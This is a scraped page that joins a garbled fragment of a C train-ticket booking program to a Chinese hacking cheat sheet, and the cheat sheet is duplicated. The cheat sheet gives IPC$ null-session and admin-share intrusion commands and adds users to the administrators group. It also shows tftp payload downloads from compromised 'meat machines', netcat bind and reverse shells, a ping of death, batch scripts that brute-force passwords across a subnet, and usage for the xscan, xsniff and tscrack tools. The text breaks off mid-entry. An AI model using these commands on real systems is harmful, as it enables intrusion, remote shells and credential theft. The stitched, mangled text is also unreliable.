/*保存火車信息*/

void SaveTrainInfo(Link l)

{

FILE*fp ;

Node*p ;

int count=0,flag=1 ;

fp=fopen(“c:\\train.txt”,”wb”);

if(fp==NULL)

{

printf(“the file can’t be opened!”);

return ;

}

p=l-next ;

while(p)

{

if(fwrite(p,sizeof(Node),1,fp)==1)

{

p=p-next ;

count++;

}

else

{

flag=0 ;

break ;

}

}

if(flag)

{

printf(“the number of the record which have been saved is %d\n”,count);

shoudsave=0 ;

}

fclose(fp);

}

/*保存訂票人的信息*/

void SaveBookmanInfo(bookManLink k)

{

FILE*fp ;

bookMan*p ;

int count=0,flag=1 ;

fp=fopen(“c:\\man.txt”,”wb”);

if(fp==NULL)

{

printf(“the file can’t be opened!”);

return ;

}

p=k-next ;

while(p)

{

if(fwrite(p,sizeof(bookMan),1,fp)==1)

{

p=p-next ;

count++;

}

else

{

flag=0 ;

break ;

}

}

if(flag)

{

printf(“the number of the record which have been saved is %d\n”,count);

shoudsave=0 ;

}

fclose(fp);

}

int main()

{

FILE*fp1,*fp2 ;

Node*p,*r ;

char ch1,ch2 ;

Link l ;

bookManLink k ;

bookMan*t,*h ;

int sel ;

l=(Node*)malloc(sizeof(Node));

l-next=NULL ;

r=l ;

k=(bookMan*)malloc(sizeof(bookMan));

k-next=NULL ;

h=k ;

fp1=fopen(“c:\\train.txt”,”ab+”);

if((fp1==NULL))

{

printf(“can’t open the file!”);

return 0 ;

}

while(!feof(fp1))

{

p=(Node*)malloc(sizeof(Node));

if(fread(p,sizeof(Node),1,fp1)==1)

{

p-next=NULL ;

r-next=p ;

r=p ;

count1++;

}

}

fclose(fp1);

fp2=fopen(“c:\\man.txt”,”ab+”);

if((fp2==NULL))

{

printf(“can’t open the file!”);

return 0 ;

}

while(!feof(fp2))

{

t=(bookMan*)malloc(sizeof(bookMan));

if(fread(t,sizeof(bookMan),1,fp2)==1)

{

t-next=NULL ;

h-next=t ;

h=t ;

count2++;

}

}

fclose(fp2);

while(1)

{

system(“cls”);

printInterface();

printf(“please choose the operation: “);

scanf(“%d”,sel);

system(“cls”);

if(sel==8)

{

if(shoudsave==1)

{

getchar();

printf(“\nthe file have been changed!do you want to save it(y/n)?\n”);

scanf(“%c”,ch1);

if(ch1==’y’||ch1==’Y’)

{

SaveBookmanInfo(k);

SaveTrainInfo(l);

}

}

printf(“\nThank you!!You are welcome too\n”);

break ;

}

switch(sel)

{

case 1 :

InsertTraininfo(l);break ;

case 2 :

QueryTrain(l);break ;

case 3 :

BookTicket(l,k);break ;

case 4 :

UpdateInfo(l);break ;

case 5 :

AdvicedTrains(l);break ;

case 6 :

SaveTrainInfo(l);SaveBookmanInfo(k);break ;

case 7 :

return 0;

}

printf(“\nplease press any key to continue…….”);

getch();

}

return 0;

}

給一些常用的運行命令吧?

cmd (命令字元提示窗口)

net use ipipc$ ” ” /user:” ” 建立IPC空鏈接

net use ipipc$ “密碼” /user:”用戶名” 建立IPC非空鏈接

net use h: ipc$ “密碼” /user:”用戶名” 直接登陸後映射對方C:到本地為H:

net use h: ipc$ 登陸後映射對方C:到本地為H:

net use ipipc$ /del 刪除IPC鏈接

net use h: /del 刪除映射對方到本地的為H:的映射

net user 用戶名 密碼 /add 建立用戶

net user guest /active:yes 激活guest用戶

net user 查看有哪些用戶

net user 帳戶名 查看帳戶的屬性

net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用複數

net start 查看開啟了哪些服務

net start 服務名 開啟服務;(如:net start telnet, net start schedule)

net stop 服務名 停止某服務

net time 目標ip 查看對方時間

net time 目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息

net view 查看本地區域網內開啟了哪些共享

net view ip 查看對方區域網內開啟了哪些共享

net config 顯示系統網路設置

net logoff 斷開連接的共享

net pause 服務名 暫停某服務

net send ip “文本信息” 向對方發信息

net ver 區域網內正在使用的網路連接類型和信息

net share 查看本地開啟的共享

net share ipc$ 開啟ipc$共享

net share ipc$ /del 刪除ipc$共享

net share c$ /del 刪除C:共享

net user guest 12345 用guest用戶登陸後用將密碼改為12345

net password 密碼 更改系統登陸密碼

netstat -a 查看開啟了哪些埠,常用netstat -an

netstat -n 查看埠的網路連接情況,常用netstat -an

netstat -v 查看正在進行的工作

netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)

netstat -s 查看正在使用的所有協議使用情況

nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫

tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。

ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。

ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)

ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息

tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)

kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)

del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件

二:

del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)

move 盤符路徑要移動的文件名 存放移動文件的路徑移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋

fc one.txt two.txt 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,” “和” ” 是重定向命令

at id號 開啟已註冊的某個計劃任務

at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止

at id號 /delete 停止某個已註冊的計劃任務

at 查看所有的計劃任務

at ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機

finger username @host 查看最近有哪些用戶登陸

telnet ip 埠 遠和登陸伺服器,默認埠為23

open ip 連接到IP(屬telnet登陸後的命令)

telnet 在本機上直接鍵入telnet 將進入本機的telnet

copy 路徑文件名1 路徑文件名2 /y 複製文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件

copy c:srv.exe ipadmin$ 複製本地c:srv.exe到對方的admin下

cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進位文件,/a指ASCLL格式文件

copy ipadmin$svv.exe c: 或:copyipadmin$*.* 複製對方admini$共享下的srv.exe文件(所有文件)至本地C:

xcopy 要複製的文件或目錄樹 目標地址目錄名 複製文件和目錄樹,用參數/Y將不提示覆蓋相同文件

tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:server.exe 登陸後,將「IP」的server.exe下載到目標主機c:server.exe 參數:-i指以二進位模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送

tftp -i 對方IP put c:server.exe 登陸後,上傳本地c:server.exe至主機

ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進位方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)

route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface

arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息

start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令

mem 查看cpu使用情況

attrib 文件名(目錄名) 查看某文件(目錄)的屬性

attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性

dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間

date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間

set 指定環境變數名稱=要指派給變數的字元 設置環境變數

set 顯示當前所有的環境變數

set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數

pause 暫停批處理程序,並顯示出:請按任意鍵繼續….

if 在批處理程序中執行條件處理(更多說明見if命令及變數)

goto 標籤 將cmd.exe導向到批處理程序中帶標籤的行(標籤必須單獨一行,且以冒號打頭,例如:「:start」標籤)

call 路徑批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)

for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)

echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置

echo 信息 在屏幕上顯示出信息

echo 信息 pass.txt 將”信息”保存到pass.txt文件中

findstr “Hello” aa.txt 在aa.txt文件中尋找字元串hello

find 文件名 查找某文件

title 標題名字 更改CMD窗口標題名字

color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白

prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:、D:統一改為:EntSky )

三:

ver 在DOS窗口下顯示版本信息

winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)

format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS

md 目錄名 創建目錄

replace 源文件 要替換文件的目錄 替換文件

ren 原文件名 新文件名 重命名文件名

tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱

type 文件名 顯示文本文件的內容

more 文件名 逐屏顯示輸出文件

doskey 要鎖定的命令=字元

doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=

taskmgr 調出任務管理器

chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤

tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠

exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe

path 路徑可執行文件的文件名 為可執行文件設置一個路徑。

cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?

regedit /s 註冊表文件名 導入註冊表;參數/S指安靜模式導入,無任何提示;

regedit /e 註冊表文件名 導出註冊表

cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D: est.txt /D pub 設定d: est.txt拒絕pub用戶訪問。

cacls 文件名 查看文件的訪問用戶許可權列表

REM 文本內容 在批處理文件中添加註解

netsh 查看或更改本地網路配置情況

四:

IIS服務命令:

iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)

iisreset /start或stop 啟動(停止)所有Internet服務

iisreset /restart 停止然後重新啟動所有Internet服務

iisreset /status 顯示所有Internet服務狀態

iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動

iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機

iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務

iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。

FTP 命令: (後面有詳細說明內容)

ftp的命令行格式為:

ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。

-d 使用調試方式。

-n 限制ftp的自動登錄,即不使用.netrc文件。

-g 取消全局文件名。

help [命令] 或 ?[命令] 查看命令說明

bye 或 quit 終止主機FTP進程,並退出FTP管理方式.

pwd 列出當前遠端主機目錄

put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中

get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中

mget [remote-files] 從遠端主機接收一批文件至本地主機

mput local-files 將本地主機中一批文件傳送至遠端主機

dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件

ascii 設定以ASCII方式傳送文件(預設值)

bin 或 image 設定以二進位方式傳送文件

bell 每完成一次文件傳送,報警提示

cdup 返回上一級目錄

close 中斷與遠程伺服器的ftp會話(與open對應)

open host[port] 建立指定ftp伺服器連接,可指定連接埠

delete 刪除遠端主機中的文件

mdelete [remote-files] 刪除一批文件

mkdir directory-name 在遠端主機中建立目錄

rename [from] [to] 改變遠端主機中的文件名

rmdir directory-name 刪除遠端主機中的目錄

status 顯示當前FTP的狀態

system 顯示遠端主機系統類型

user user-name [password] [account] 重新以別的用戶名登錄遠端主機

open host [port] 重新建立一個新的連接

prompt 交互提示模式

macdef 定義宏命令

lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄

chmod 改變遠端主機的文件許可權

case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母

cd remote-dir 進入遠程主機目錄

cdup 進入遠程主機目錄的父目錄

! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip

#5 五:

MYSQL 命令:

mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。

(例:mysql -h110.110.110.110 -Uroot -P123456

注:u與root可以不用加空格,其它也一樣)

exit 退出MYSQL

mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼

grant select on 資料庫.* to 用戶名@登錄主機 identified by “密碼”; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)

show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。

use mysql;

show tables; 顯示庫中的數據表

describe 表名; 顯示數據表的結構

create database 庫名; 建庫

use 庫名;

create table 表名 (欄位設定列表); 建表

drop database 庫名;

drop table 表名; 刪庫和刪表

delete from 表名; 將表中記錄清空

select * from 表名; 顯示錶中的記錄

mysqldump –opt schoolschool.bbb 備份資料庫:(命令在DOS的mysql in目錄下執行);注釋:將資料庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。

win2003系統下新增命令(實用部份):

shutdown /參數 關閉或重啟本地或遠程主機。

參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,範圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。

例:shutdown /r /t 0 立即重啟本地主機(無延時)

taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。

參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。

tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。

參數說明:/M 列出當前進程載入的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。

六:

Linux系統下基本命令: 要區分大小寫

uname 顯示版本信息(同win2K的 ver)

dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)

pwd 查詢當前所在的目錄位置

cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。

cat 文件名 查看文件內容

cat abc.txt 往abc.txt文件中寫上內容。

more 文件名 以一頁一頁的方式顯示一個文本文件。

cp 複製文件

mv 移動文件

rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄

mkdir 目錄名 建立目錄

rmdir 刪除子目錄,目錄內沒有文檔。

chmod 設定檔案或目錄的存取許可權

grep 在檔案中查找字元串

diff 檔案文件比較

find 檔案搜尋

date 現在的日期、時間

who 查詢目前和你使用同一台機器的人以及Login時間地點

w 查詢目前上機者的詳細資料

whoami 查看自己的帳號名稱

groups 查看某人的Group

passwd 更改密碼

history 查看自己下過的命令

ps 顯示進程狀態

kill 停止某進程

gcc 黑客通常用它來編譯C語言寫的文件

su 許可權轉換為指定使用者

telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。

ftp ftp連接上某伺服器(同win2K)

附:批處理命令與變數

1:for命令及變數 基本格式:

FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。

批處理每次能處理的變數從%0—%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:net use ipipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

(set):指定一個或一組文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ 「(1 1 254)」第一個”1″指起始值,第二個”1″指增長量,第三個”254″指結束值,即:從1到254;「(1 -1 254)」說明:即從254到1 }

command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加: 來隔開

command_parameters:為特定命令指定參數或命令行開關

IN (set):指在(set)中取值;DO command :指執行command

參數:/L 指用增量形式{ (set)為增量形式時 };/F 指從文件中不斷取值,直到取完為止{ (set)為文件時,如(d:pass.txt)時 }。

用法舉例:

@echo off

echo 用法格式:test.bat *.*.* test.txt

for /L %%G in (1 1 254) do echo %1.%%G test.txt net use \%1.%%G /user:administrator | find “命令成功完成” test.txt

存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。

/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變數(ip的最後一位); 用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有”命令成功完成”信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。

@echo off

echo 用法格式:ok.bat ip

FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200

存為:ok.exe 說明:輸入一個IP後,用字典文件d:pass.dic來暴解d:user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。

七:

2:if命令及變數 基本格式:

IF [not] errorlevel 數字 命令語句 如果程序運行最後返回一個等於或大於指定數字的退出編碼,指定條件為「真」。

例:IF errorlevel 0 命令 指程序執行後返回的值為0時,就值行後面的命令;IF not errorlevel 1 命令指程序執行最後返回的值不等於1,就執行後面的命令。

0 指發現並成功執行(真);1 指沒有發現、沒執行(假)。

IF [not] 字元串1==字元串2 命令語句 如果指定的文本字元串匹配(即:字元串1 等於 字元串2),就執行後面的命令。

例:「if “%2%”==”4″ goto start」指:如果輸入的第二個變數為4時,執行後面的命令(注意:調用變數時就%變數名%並加” “)

IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執行後面的命令。

例:「if not nc.exe goto end」指:如果沒有發現nc.exe文件就跳到”:end”標籤處。

IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字元串1==字元串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句後指:當前面的條件不成立時,就指行else後面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用 括起來,因為del命令要單獨一行時才能執行,用上 後就等於是單獨一行了;例如:「if exist test.txt. del test.txt. else echo test.txt.missing 」,注意命令中的「.」

(二)系統外部命令(均需下載相關工具):

1、瑞士軍刀:nc.exe

參數說明:

-h 查看幫助信息

-d 後台模式

-e prog程序重定向,一但連接就執行〔危險〕

-i secs延時的間隔

-l 監聽模式,用於入站連接

-L 監聽模式,連接天閉後仍然繼續監聽,直到CTR+C

-n IP地址,不能用域名

-o film記錄16進位的傳輸

-p[空格]埠 本地埠號

-r 隨機本地及遠程埠

-t 使用Telnet交互方式

-u UDP模式

-v 詳細輸出,用-vv將更詳細

-w數字 timeout延時間隔

-z 將輸入,輸出關掉(用於掃錨時)

基本用法:

nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠

nc -l -p 80 開啟本機的TCP 80埠並監聽

nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠

nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354埠

nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向連接192.168.0.2的5354埠

高級用法:

nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80埠,直到CTR+C為止

nc -L -p 80 c:log.txt 作為蜜罐用2:開啟並不停地監聽80埠,直到CTR+C,同時把結果輸出到c:log.txt

nc -L -p 80 c:honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80埠,直到CTR+C,並把c:honeyport.txt中內容送入管道中,亦可起到傳送文件作用

type.exe c:honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80埠,直到CTR+C,並把c:honeyport.txt中內容送入管道中,亦可起到傳送文件作用

本機上用:nc -l -p 本機埠

在對方主機上用:nc -e cmd.exe 本機IP -p 本機埠 *win2K

nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆

本機上用:nc -d -l -p 本機埠 要傳送的文件路徑及名稱

在對方主機上用:nc -vv 本機IP 本機埠 存放文件的路徑及名稱 傳送文件到對方主機

備 註:

| 管道命令

或 重定向命令。「」,例如:tlntadmn test.txt 指把test.txt的內容賦值給tlntadmn命令

@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:winnt d:log.txt 意思是:後台執行dir,並把結果存在d:log.txt中

與的區別 “”指:覆蓋;””指:保存到(添加到)。

如:@dir c:winnt d:log.txt和@dir c:winnt d:log.txt二個命令分別執行二次比較看:用的則是把二次的結果都保存了,而用:則只有一次的結果,是因為第二次的結果把第一次的覆蓋了。

八:

2、掃錨工具:xscan.exe

基本格式

xscan -host 起始IP[-終止IP] 檢測項目 [其他選項] 掃錨”起始IP到終止IP”段的所有主機信息

xscan -file 主機列表文件名 檢測項目 [其他選項] 掃錨”主機IP列表文件名”中的所有主機信息

檢測項目

-active 檢測主機是否存活

-os 檢測遠程操作系統類型(通過NETBIOS和SNMP協議)

-port 檢測常用服務的埠狀態

-ftp 檢測FTP弱口令

-pub 檢測FTP服務匿名用戶寫許可權

-pop3 檢測POP3-Server弱口令

-smtp 檢測SMTP-Server漏洞

-sql 檢測SQL-Server弱口令

-smb 檢測NT-Server弱口令

-iis 檢測IIS編碼/解碼漏洞

-cgi 檢測CGI漏洞

-nasl 載入Nessus攻擊腳本

-all 檢測以上所有項目

其它選項

-i 適配器編號 設置網路適配器, 適配器編號可通過”-l”參數獲取

-l 顯示所有網路適配器

-v 顯示詳細掃描進度

-p 跳過沒有響應的主機

-o 跳過沒有檢測到開放埠的主機

-t 並發線程數量,並發主機數量 指定最大並發線程數量和並發主機數量, 默認數量為100,10

-log 文件名 指定掃描報告文件名 (後綴為:TXT或HTML格式的文件)

用法示例

xscan -host 192.168.1.1-192.168.255.255 -all -active -p 檢測192.168.1.1-192.168.255.255網段內主機的所有漏洞,跳過無響應的主機

xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 檢測192.168.1.1-192.168.255.255網段內主機的標準埠狀態,NT弱口令用戶,最大並發線程數量為150,跳過沒有檢測到開放埠的主機

xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 檢測「hostlist.txt」文件中列出的所有主機的標準埠狀態,CGI漏洞,最大並發線程數量為200,同一時刻最多檢測5台主機,顯示詳細檢測進度,跳過沒有檢測到開放埠的主機

九:

3、命令行方式嗅探器: xsniff.exe

可捕獲區域網內FTP/SMTP/POP3/HTTP協議密碼

參數說明

-tcp 輸出TCP數據報

-udp 輸出UDP數據報

-icmp 輸出ICMP數據報

-pass 過濾密碼信息

-hide 後台運行

-host 解析主機名

-addr IP地址 過濾IP地址

-port 埠 過濾埠

-log 文件名 將輸出保存到文件

-asc 以ASCII形式輸出

-hex 以16進位形式輸出

用法示例

xsniff.exe -pass -hide -log pass.log 後台運行嗅探密碼並將密碼信息保存在pass.log文件中

xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1並過濾tcp和udp信息並以ASCII格式輸出

4、終端服務密碼破解: tscrack.exe

參數說明

-h 顯示使用幫助

-v 顯示版本信息

-s 在屏幕上打出解密能力

-b 密碼錯誤時發出的聲音

-t 同是發出多個連接(多線程)

-N Prevent System Log entries on targeted server

-U 卸載移除tscrack組件

-f 使

運行里有什麼命令啊?

net use \\ip\ipc$ ” ” /user:” ” 建立IPC空鏈接

net use \\ip\ipc$ “密碼” /user:”用戶名” 建立IPC非空鏈接

net use h: \\ip\c$ “密碼” /user:”用戶名” 直接登陸後映射對方C:到本地為H:

net use h: \\ip\c$ 登陸後映射對方C:到本地為H:

net use \\ip\ipc$ /del 刪除IPC鏈接

net use h: /del 刪除映射對方到本地的為H:的映射

net user 用戶名 密碼 /add 建立用戶

net user guest /active:yes 激活guest用戶

net user 查看有哪些用戶

net user 帳戶名 查看帳戶的屬性

net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用複數

net start 查看開啟了哪些服務

net start 服務名 開啟服務;(如:net start telnet, net start schedule)

net stop 服務名 停止某服務

net time \\目標ip 查看對方時間

net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息

net view 查看本地區域網內開啟了哪些共享

net view \\ip 查看對方區域網內開啟了哪些共享

net config 顯示系統網路設置

net logoff 斷開連接的共享

net pause 服務名 暫停某服務

net send ip “文本信息” 向對方發信息

net ver 區域網內正在使用的網路連接類型和信息

net share 查看本地開啟的共享

net share ipc$ 開啟ipc$共享

net share ipc$ /del 刪除ipc$共享

net share c$ /del 刪除C:共享

net user guest 12345 用guest用戶登陸後用將密碼改為12345

net password 密碼 更改系統登陸密碼

netstat -a 查看開啟了哪些埠,常用netstat -an

netstat -n 查看埠的網路連接情況,常用netstat -an

netstat -v 查看正在進行的工作

netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)

netstat -s 查看正在使用的所有協議使用情況

nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫

tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。

ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。

ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)

ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息

tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)

kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)

del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件

#2 二:

del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)

move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋

fc one.txt two.txt 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,” “和” ” 是重定向命令

at id號 開啟已註冊的某個計劃任務

at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止

at id號 /delete 停止某個已註冊的計劃任務

at 查看所有的計劃任務

at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機

finger username @host 查看最近有哪些用戶登陸

telnet ip 埠 遠和登陸伺服器,默認埠為23

open ip 連接到IP(屬telnet登陸後的命令)

telnet 在本機上直接鍵入telnet 將進入本機的telnet

copy 路徑\文件名1 路徑\文件名2 /y 複製文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件

copy c:\srv.exe \\ip\admin$ 複製本地c:\srv.exe到對方的admin下

cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進位文件,/a指ASCLL格式文件

copy \\ip\admin$\svv.exe c:\ 或:copy\\ip\admin$\*.* 複製對方admini$共享下的srv.exe文件(所有文件)至本地C:

xcopy 要複製的文件或目錄樹 目標地址\目錄名 複製文件和目錄樹,用參數/Y將不提示覆蓋相同文件

